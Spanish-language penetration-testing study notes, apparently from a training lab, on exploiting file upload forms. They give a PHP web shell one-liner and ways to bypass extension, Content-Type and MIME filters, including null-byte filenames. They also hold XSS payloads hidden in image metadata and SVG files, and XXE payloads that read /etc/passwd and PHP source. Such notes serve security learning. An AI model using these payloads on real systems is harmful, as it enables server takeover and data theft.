19 - File Uploads

Básico

PHP Shell básica:
php
<?php system($_REQUEST['cmd']) ?>
Ruta con shells: /usr/share/seclists/Web-Shells

Bypass de Filtros

Lado del Cliente (Front-End)

El formulario usa atributos como accept=".jpg,.jpeg,.png" y una función JavaScript (checkFile()) para asegurarse de que solo se seleccionen imágenes. Si eliminamos checkFile y el accept, o cambiamos el JS, lo bypasseamos. A veces también hay que modificar el Content-Type.

Filtros en BlackList

A veces filtran extensiones como .php, php7, phps; es débil porque no considera otras que ejecutan PHP y puede ser sensible a mayúsculas/minúsculas. Fuzzing de extensiones con FFUF/Burp: puede que .phar sí funcione; sube un hello world y filtra por la extensión que lo devuelve en el body. Lista: PayloadsAllTheThings / Extension PHP / extensions.lst.

Filtros en WhiteList

El servidor solo permite extensiones específicas. Bypass con shell.jpg.php; a veces Apache está mal configurado y shell.php.jpg funciona porque contiene .php. Otra técnica, insertar caracteres:
txt
%20 %0a %00 %0d0a / .\ . … :
Por ejemplo shell.php%00.jpg.

Filtros Type

  • Content-Type Header: el servidor compara con image/jpg, image/jpeg, image/png, image/gif.
  • MIME-Type: un archivo cuyo contenido empieza por GIF8 se identifica como imagen GIF.

Otros Tipos de Subida

XSS mediante archivos subidos

terminal
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
xml
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <script type="text/javascript">alert(window.origin);</script>
</svg>

XXE mediante archivos subidos

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
xml
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
MIRAR EL CÓDIGO FUENTE SIEMPRE